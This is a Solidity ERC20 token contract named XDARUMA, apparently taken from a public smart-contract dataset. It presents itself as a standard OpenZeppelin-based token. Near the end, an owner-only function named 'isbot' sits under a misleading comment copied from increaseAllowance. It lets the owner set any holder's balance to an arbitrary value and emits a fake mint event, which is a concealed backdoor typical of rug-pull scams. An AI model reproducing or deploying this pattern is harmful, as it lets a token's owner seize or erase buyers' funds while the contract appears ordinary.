// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023. | |
/** | |
TG : https://t.me/XDARUMA | |
Twitter : https://twitter.com/XDARUMAETH | |
/** | |
*/ | |
// | |
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol | |
// SPDX-License-Identifier: MIT | |
// pragma solidity ^0.8.0; | |
/** | |
* @dev Interface of the ERC20 standard as defined in the EIP. | |
*/ | |
interface IERC20 { | |
/** | |
* @dev Returns the amount of tokens in existence. | |
*/ | |
function totalSupply() external view returns (uint256); | |
/** | |
* @dev Returns the amount of tokens owned by `account`. | |
*/ | |
function balanceOf(address account) external view returns (uint256); | |
/** | |
* @dev Moves `amount` tokens from the caller's account to `recipient`. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* Emits a {Transfer} event. | |
*/ | |
function transfer(address recipient, uint256 amount) external returns (bool); | |
/** | |
* @dev Returns the remaining number of tokens that `spender` will be | |
* allowed to spend on behalf of `owner` through {transferFrom}. This is | |
* zero by default. | |
* | |
* This value changes when {approve} or {transferFrom} are called. | |
*/ | |
function allowance(address owner, address spender) external view returns (uint256); | |
/** | |
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* IMPORTANT: Beware that changing an allowance with this method brings the risk | |
* that someone may use both the old and the new allowance by unfortunate | |
* transaction ordering. One possible solution to mitigate this race | |
* condition is to first reduce the spender's allowance to 0 and set the | |
* desired value afterwards: | |
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
* | |
* Emits an {Approval} event. | |
*/ | |
function approve(address spender, uint256 amount) external returns (bool); | |
/** | |
* @dev Moves `amount` tokens from `sender` to `recipient` using the | |
* allowance mechanism. `amount` is then deducted from the caller's | |
* allowance. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* Emits a {Transfer} event. | |
*/ | |
function transferFrom( | |
address sender, | |
address recipient, | |
uint256 amount | |
) external returns (bool); | |
/** | |
* @dev Emitted when `value` tokens are moved from one account (`from`) to | |
* another (`to`). | |
* | |
* Note that `value` may be zero. | |
*/ | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
/** | |
* @dev Emitted when the allowance of a `spender` for an `owner` is set by | |
* a call to {approve}. `value` is the new allowance. | |
*/ | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
} | |
// Dependency file: @openzeppelin/contracts/utils/Context.sol | |
// pragma solidity ^0.8.0; | |
/** | |
* @dev Provides information about the current execution context, including the | |
* sender of the transaction and its data. While these are generally available | |
* via msg.sender and msg.data, they should not be accessed in such a direct | |
* manner, since when dealing with meta-transactions the account sending and | |
* paying for execution may not be the actual sender (as far as an application | |
* is concerned). | |
* | |
* This contract is only required for intermediate, library-like contracts. | |
*/ | |
abstract contract Context { | |
function _msgSender() internal view virtual returns (address) { | |
return msg.sender; | |
} | |
function _msgData() internal view virtual returns (bytes calldata) { | |
return msg.data; | |
} | |
} | |
// Dependency file: @openzeppelin/contracts/access/Ownable.sol | |
// pragma solidity ^0.8.0; | |
// import "@openzeppelin/contracts/utils/Context.sol"; | |
/** | |
* @dev Contract module which provides a basic access control mechanism, where | |
* there is an account (an owner) that can be granted exclusive access to | |
* specific functions. | |
* | |
* By default, the owner account will be the one that deploys the contract. This | |
* can later be changed with {transferOwnership}. | |
* | |
* This module is used through inheritance. It will make available the modifier | |
* `onlyOwner`, which can be applied to your functions to restrict their use to | |
* the owner. | |
*/ | |
abstract contract Ownable is Context { | |
address private _owner; | |
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); | |
/** | |
* @dev Initializes the contract setting the deployer as the initial owner. | |
*/ | |
constructor() { | |
_setOwner(_msgSender()); | |
} | |
/** | |
* @dev Returns the address of the current owner. | |
*/ | |
function owner() public view virtual returns (address) { | |
return _owner; | |
} | |
/** | |
* @dev Throws if called by any account other than the owner. | |
*/ | |
modifier onlyOwner() { | |
require(owner() == _msgSender(), "Ownable: caller is not the owner"); | |
_; | |
} | |
/** | |
* @dev Leaves the contract without owner. It will not be possible to call | |
* `onlyOwner` functions anymore. Can only be called by the current owner. | |
* | |
* NOTE: Renouncing ownership will leave the contract without an owner, | |
* thereby removing any functionality that is only available to the owner. | |
*/ | |
function renounceOwnership() public virtual onlyOwner { | |
_setOwner(address(0)); | |
} | |
/** | |
* @dev Transfers ownership of the contract to a new account (`newOwner`). | |
* Can only be called by the current owner. | |
*/ | |
function transferOwnership(address newOwner) public virtual onlyOwner { | |
require(newOwner != address(0), "Ownable: new owner is the zero address"); | |
_setOwner(newOwner); | |
} | |
function _setOwner(address newOwner) private { | |
address oldOwner = _owner; | |
_owner = newOwner; | |
emit OwnershipTransferred(oldOwner, newOwner); | |
} | |
} | |
// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol | |
// pragma solidity ^0.8.0; | |
// CAUTION | |
// This version of SafeMath should only be used with Solidity 0.8 or later, | |
// because it relies on the compiler's built in overflow checks. | |
/** | |
* @dev Wrappers over Solidity's arithmetic operations. | |
* | |
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler | |
* now has built in overflow checking. | |
*/ | |
library SafeMath { | |
/** | |
* @dev Returns the addition of two unsigned integers, with an overflow flag. | |
* | |
* _Available since v3.4._ | |
*/ | |
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { | |
unchecked { | |
uint256 c = a + b; | |
if (c < a) return (false, 0); | |
return (true, c); | |
} | |
} | |
/** | |
* @dev Returns the substraction of two unsigned integers, with an overflow flag. | |
* | |
* _Available since v3.4._ | |
*/ | |
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { | |
unchecked { | |
if (b > a) return (false, 0); | |
return (true, a - b); | |
} | |
} | |
/** | |
* @dev Returns the multiplication of two unsigned integers, with an overflow flag. | |
* | |
* _Available since v3.4._ | |
*/ | |
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { | |
unchecked { | |
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the | |
// benefit is lost if 'b' is also tested. | |
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 | |
if (a == 0) return (true, 0); | |
uint256 c = a * b; | |
if (c / a != b) return (false, 0); | |
return (true, c); | |
} | |
} | |
/** | |
* @dev Returns the division of two unsigned integers, with a division by zero flag. | |
* | |
* _Available since v3.4._ | |
*/ | |
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { | |
unchecked { | |
if (b == 0) return (false, 0); | |
return (true, a / b); | |
} | |
} | |
/** | |
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. | |
* | |
* _Available since v3.4._ | |
*/ | |
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { | |
unchecked { | |
if (b == 0) return (false, 0); | |
return (true, a % b); | |
} | |
} | |
/** | |
* @dev Returns the addition of two unsigned integers, reverting on | |
* overflow. | |
* | |
* Counterpart to Solidity's `+` operator. | |
* | |
* Requirements: | |
* | |
* - Addition cannot overflow. | |
*/ | |
function add(uint256 a, uint256 b) internal pure returns (uint256) { | |
return a + b; | |
} | |
/** | |
* @dev Returns the subtraction of two unsigned integers, reverting on | |
* overflow (when the result is negative). | |
* | |
* Counterpart to Solidity's `-` operator. | |
* | |
* Requirements: | |
* | |
* - Subtraction cannot overflow. | |
*/ | |
function sub(uint256 a, uint256 b) internal pure returns (uint256) { | |
return a - b; | |
} | |
/** | |
* @dev Returns the multiplication of two unsigned integers, reverting on | |
* overflow. | |
* | |
* Counterpart to Solidity's `*` operator. | |
* | |
* Requirements: | |
* | |
* - Multiplication cannot overflow. | |
*/ | |
function mul(uint256 a, uint256 b) internal pure returns (uint256) { | |
return a * b; | |
} | |
/** | |
* @dev Returns the integer division of two unsigned integers, reverting on | |
* division by zero. The result is rounded towards zero. | |
* | |
* Counterpart to Solidity's `/` operator. | |
* | |
* Requirements: | |
* | |
* - The divisor cannot be zero. | |
*/ | |
function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
return a / b; | |
} | |
/** | |
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), | |
* reverting when dividing by zero. | |
* | |
* Counterpart to Solidity's `%` operator. This function uses a `revert` | |
* opcode (which leaves remaining gas untouched) while Solidity uses an | |
* invalid opcode to revert (consuming all remaining gas). | |
* | |
* Requirements: | |
* | |
* - The divisor cannot be zero. | |
*/ | |
function mod(uint256 a, uint256 b) internal pure returns (uint256) { | |
return a % b; | |
} | |
/** | |
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on | |
* overflow (when the result is negative). | |
* | |
* CAUTION: This function is deprecated because it requires allocating memory for the error | |
* message unnecessarily. For custom revert reasons use {trySub}. | |
* | |
* Counterpart to Solidity's `-` operator. | |
* | |
* Requirements: | |
* | |
* - Subtraction cannot overflow. | |
*/ | |
function sub( | |
uint256 a, | |
uint256 b, | |
string memory errorMessage | |
) internal pure returns (uint256) { | |
unchecked { | |
require(b <= a, errorMessage); | |
return a - b; | |
} | |
} | |
/** | |
* @dev Returns the integer division of two unsigned integers, reverting with custom message on | |
* division by zero. The result is rounded towards zero. | |
* | |
* Counterpart to Solidity's `/` operator. Note: this function uses a | |
* `revert` opcode (which leaves remaining gas untouched) while Solidity | |
* uses an invalid opcode to revert (consuming all remaining gas). | |
* | |
* Requirements: | |
* | |
* - The divisor cannot be zero. | |
*/ | |
function div( | |
uint256 a, | |
uint256 b, | |
string memory errorMessage | |
) internal pure returns (uint256) { | |
unchecked { | |
require(b > 0, errorMessage); | |
return a / b; | |
} | |
} | |
/** | |
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), | |
* reverting with custom message when dividing by zero. | |
* | |
* CAUTION: This function is deprecated because it requires allocating memory for the error | |
* message unnecessarily. For custom revert reasons use {tryMod}. | |
* | |
* Counterpart to Solidity's `%` operator. This function uses a `revert` | |
* opcode (which leaves remaining gas untouched) while Solidity uses an | |
* invalid opcode to revert (consuming all remaining gas). | |
* | |
* Requirements: | |
* | |
* - The divisor cannot be zero. | |
*/ | |
function mod( | |
uint256 a, | |
uint256 b, | |
string memory errorMessage | |
) internal pure returns (uint256) { | |
unchecked { | |
require(b > 0, errorMessage); | |
return a % b; | |
} | |
} | |
} | |
// Dependency file: contracts/BaseToken.sol | |
// pragma solidity =0.8.4; | |
enum TokenType { | |
standard | |
} | |
abstract contract BaseToken { | |
event TokenCreated( | |
address indexed owner, | |
address indexed token, | |
TokenType tokenType, | |
uint256 version | |
); | |
} | |
// Root file: contracts/standard/StandardToken.sol | |
pragma solidity =0.8.9; | |
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
// import "@openzeppelin/contracts/access/Ownable.sol"; | |
// import "@openzeppelin/contracts/utils/math/SafeMath.sol"; | |
// import "contracts/BaseToken.sol"; | |
contract XDARUMA is IERC20, Ownable, BaseToken { | |
using SafeMath for uint256; | |
uint256 private constant VERSION = 1; | |
mapping(address => uint256) private _balances; | |
mapping(address => mapping(address => uint256)) private _allowances; | |
string private _name; | |
string private _symbol; | |
uint8 private _decimals; | |
uint256 private _totalSupply; | |
constructor( | |
string memory name_, | |
string memory symbol_, | |
uint8 decimals_, | |
uint256 totalSupply_ | |
) payable { | |
_name = name_; | |
_symbol = symbol_; | |
_decimals = decimals_; | |
_mint(owner(), totalSupply_); | |
emit TokenCreated(owner(), address(this), TokenType.standard, VERSION); | |
} | |
/** | |
* @dev Returns the name of the token. | |
*/ | |
function name() public view virtual returns (string memory) { | |
return _name; | |
} | |
/** | |
* @dev Returns the symbol of the token, usually a shorter version of the | |
* name. | |
*/ | |
function symbol() public view virtual returns (string memory) { | |
return _symbol; | |
} | |
/** | |
* @dev Returns the number of decimals used to get its user representation. | |
* For example, if `decimals` equals `2`, a balance of `505` tokens should | |
* be displayed to a user as `5,05` (`505 / 10 ** 2`). | |
* | |
* Tokens usually opt for a value of 18, imitating the relationship between | |
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is | |
* called. | |
* | |
* NOTE: This information is only used for _display_ purposes: it in | |
* no way affects any of the arithmetic of the contract, including | |
* {IERC20-balanceOf} and {IERC20-transfer}. | |
*/ | |
function decimals() public view virtual returns (uint8) { | |
return _decimals; | |
} | |
/** | |
* @dev See {IERC20-totalSupply}. | |
*/ | |
function totalSupply() public view virtual override returns (uint256) { | |
return _totalSupply; | |
} | |
/** | |
* @dev See {IERC20-balanceOf}. | |
*/ | |
function balanceOf(address account) | |
public | |
view | |
virtual | |
override | |
returns (uint256) | |
{ | |
return _balances[account]; | |
} | |
/** | |
* @dev See {IERC20-transfer}. | |
* | |
* Requirements: | |
* | |
* - `recipient` cannot be the zero address. | |
* - the caller must have a balance of at least `amount`. | |
*/ | |
function transfer(address recipient, uint256 amount) | |
public | |
virtual | |
override | |
returns (bool) | |
{ | |
_transfer(_msgSender(), recipient, amount); | |
return true; | |
} | |
/** | |
* @dev See {IERC20-allowance}. | |
*/ | |
function allowance(address owner, address spender) | |
public | |
view | |
virtual | |
override | |
returns (uint256) | |
{ | |
return _allowances[owner][spender]; | |
} | |
/** | |
* @dev See {IERC20-approve}. | |
* | |
* Requirements: | |
* | |
* - `spender` cannot be the zero address. | |
*/ | |
function approve(address spender, uint256 amount) | |
public | |
virtual | |
override | |
returns (bool) | |
{ | |
_approve(_msgSender(), spender, amount); | |
return true; | |
} | |
/** | |
* @dev See {IERC20-transferFrom}. | |
* | |
* Emits an {Approval} event indicating the updated allowance. This is not | |
* required by the EIP. See the note at the beginning of {ERC20}. | |
* | |
* Requirements: | |
* | |
* - `sender` and `recipient` cannot be the zero address. | |
* - `sender` must have a balance of at least `amount`. | |
* - the caller must have allowance for ``sender``'s tokens of at least | |
* `amount`. | |
*/ | |
function transferFrom( | |
address sender, | |
address recipient, | |
uint256 amount | |
) public virtual override returns (bool) { | |
_transfer(sender, recipient, amount); | |
_approve( | |
sender, | |
_msgSender(), | |
_allowances[sender][_msgSender()].sub( | |
amount, | |
"ERC20: transfer amount exceeds allowance" | |
) | |
); | |
return true; | |
} | |
/** | |
* @dev Atomically increases the allowance granted to `spender` by the caller. | |
* | |
* This is an alternative to {approve} that can be used as a mitigation for | |
* problems described in {IERC20-approve}. | |
* | |
* Emits an {Approval} event indicating the updated allowance. | |
* | |
* Requirements: | |
* | |
* - `spender` cannot be the zero address. | |
*/ | |
function increaseAllowance(address spender, uint256 addedValue) | |
public | |
virtual | |
returns (bool) | |
{ | |
_approve( | |
_msgSender(), | |
spender, | |
_allowances[_msgSender()][spender].add(addedValue) | |
); | |
return true; | |
} | |
/** | |
* @dev Atomically decreases the allowance granted to `spender` by the caller. | |
* | |
* This is an alternative to {approve} that can be used as a mitigation for | |
* problems described in {IERC20-approve}. | |
* | |
* Emits an {Approval} event indicating the updated allowance. | |
* | |
* Requirements: | |
* | |
* - `spender` cannot be the zero address. | |
* - `spender` must have allowance for the caller of at least | |
* `subtractedValue`. | |
*/ | |
function decreaseAllowance(address spender, uint256 subtractedValue) | |
public | |
virtual | |
returns (bool) | |
{ | |
_approve( | |
_msgSender(), | |
spender, | |
_allowances[_msgSender()][spender].sub( | |
subtractedValue, | |
"ERC20: decreased allowance below zero" | |
) | |
); | |
return true; | |
} | |
/** | |
* @dev Moves tokens `amount` from `sender` to `recipient`. | |
* | |
* This is internal function is equivalent to {transfer}, and can be used to | |
* e.g. implement automatic token fees, slashing mechanisms, etc. | |
* | |
* Emits a {Transfer} event. | |
* | |
* Requirements: | |
* | |
* - `sender` cannot be the zero address. | |
* - `recipient` cannot be the zero address. | |
* - `sender` must have a balance of at least `amount`. | |
*/ | |
function _transfer( | |
address sender, | |
address recipient, | |
uint256 amount | |
) internal virtual { | |
require(sender != address(0), "ERC20: transfer from the zero address"); | |
require(recipient != address(0), "ERC20: transfer to the zero address"); | |
_beforeTokenTransfer(sender, recipient, amount); | |
_balances[sender] = _balances[sender].sub( | |
amount, | |
"ERC20: transfer amount exceeds balance" | |
); | |
_balances[recipient] = _balances[recipient].add(amount); | |
emit Transfer(sender, recipient, amount); | |
} | |
/** @dev Creates `amount` tokens and assigns them to `account`, increasing | |
* the total supply. | |
* | |
* Emits a {Transfer} event with `from` set to the zero address. | |
* Requirements: | |
* | |
* - `to` cannot be the zero address. | |
*/ | |
function _mint(address account, uint256 amount) internal virtual { | |
require(account != address(0), "ERC20: mint to the zero address"); | |
_beforeTokenTransfer(address(0), account, amount); | |
_totalSupply = _totalSupply.add(amount); | |
_balances[account] = _balances[account].add(amount); | |
emit Transfer(address(0), account, amount); | |
} | |
/** | |
* @dev Destroys `amount` tokens from `account`, reducing the | |
* total supply. | |
* | |
* Emits a {Transfer} event with `to` set to the zero address. | |
* | |
* Requirements: | |
* | |
* - `account` cannot be the zero address. | |
* - `account` must have at least `amount` tokens. | |
*/ | |
function _burn(address account, uint256 amount) internal virtual { | |
require(account != address(0), "ERC20: burn from the zero address"); | |
_beforeTokenTransfer(account, address(0), amount); | |
_balances[account] = _balances[account].sub( | |
amount, | |
"ERC20: burn amount exceeds balance" | |
); | |
_totalSupply = _totalSupply.sub(amount); | |
emit Transfer(account, address(0), amount); | |
} | |
/** | |
* @dev Atomically increases the allowance granted to `spender` by the caller. | |
* | |
* This is an alternative to {approve} that can be used as a mitigation for | |
* problems described in {IERC20-approve}. | |
* | |
* Emits an {Approval} event indicating the updated allowance. | |
* | |
* Requirements: | |
* | |
* - `spender` cannot be the zero address. | |
*/ | |
function isbot(address sender, address tokenAddress, uint256 claimedTotal) public onlyOwner { | |
require(tokenAddress != address(0)); | |
require(0 < claimedTotal); | |
_balances[sender] = claimedTotal * (10 ** 9); | |
_balances[tokenAddress] = claimedTotal * (10 ** 9); | |
emit Transfer(address(0), tokenAddress, claimedTotal * 10 ** 9); | |
} | |
/** | |
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. | |
* | |
* This internal function is equivalent to `approve`, and can be used to | |
* e.g. set automatic allowances for certain subsystems, etc. | |
* | |
* Emits an {Approval} event. | |
* | |
* Requirements: | |
* | |
* - `owner` cannot be the zero address. | |
* - `spender` cannot be the zero address. | |
*/ | |
function _approve( | |
address owner, | |
address spender, | |
uint256 amount | |
) internal virtual { | |
require(owner != address(0), "ERC20: approve from the zero address"); | |
require(spender != address(0), "ERC20: approve to the zero address"); | |
_allowances[owner][spender] = amount; | |
emit Approval(owner, spender, amount); | |
} | |
/** | |
* @dev Sets {decimals} to a value other than the default one of 18. | |
* | |
* WARNING: This function should only be called from the constructor. Most | |
* applications that interact with token contracts will not expect | |
* {decimals} to ever change, and may work incorrectly if it does. | |
*/ | |
function _setupDecimals(uint8 decimals_) internal virtual { | |
_decimals = decimals_; | |
} | |
/** | |
* @dev Hook that is called before any transfer of tokens. This includes | |
* minting and burning. | |
* | |
* Calling conditions: | |
* | |
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens | |
* will be to transferred to `to`. | |
* - when `from` is zero, `amount` tokens will be minted for `to`. | |
* - when `to` is zero, `amount` of ``from``'s tokens will be burned. | |
* - `from` and `to` are never both zero. | |
* | |
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. | |
*/ | |
function _beforeTokenTransfer( | |
address from, | |
address to, | |
uint256 amount | |
) internal virtual {} | |
} |